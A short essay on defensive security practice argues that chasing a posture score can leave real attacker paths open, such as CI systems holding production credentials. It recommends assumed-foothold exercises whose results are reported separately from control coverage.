The failure I keep running into: a team spent a year taking a posture score from 74 to 98. Every finding remediated, every exception documented, the trend line clean. Meanwhile the CI system sat outside the scanner's scope, it wasn't a cloud account, and held production credentials in environment variables, readable by anyone who could push a branch. The score was real. So was the path.

Where the effort went, roughly:

ActivityShare of effortAttacker paths closed
Posture-score remediation80%3
Attacker-perspective work20%11

Those figures are illustrative of the pattern, not a measurement of that engagement, but the shape is what matters: the 20% found the paths that mattered, and it found them because it started from the attacker's position rather than the control list.

How you detect you're in this mode: run an exercise that starts from an assumed foothold. A leaked CI token, a compromised build runner, a role that can assume another role, and walk it forward until it either reaches something that matters or dead-ends. If the exercise finds nothing, treat that as evidence the exercise was too narrow, not that the estate is secure. A clean result from a narrow exercise is the most expensive kind of false comfort.

The correction is not to abandon control coverage. It's cheap, it catches the long tail, and auditors want it. The correction is to reserve a fixed share of effort for attacker-perspective work and to report what it finds separately from control coverage, so it can't be absorbed into the score and quietly disappear. If the only security number leadership sees is a posture score, you have told them what you can measure, not what an attacker can reach.

The attacker does not read your control list.

Curated: · Written: · Reviewed: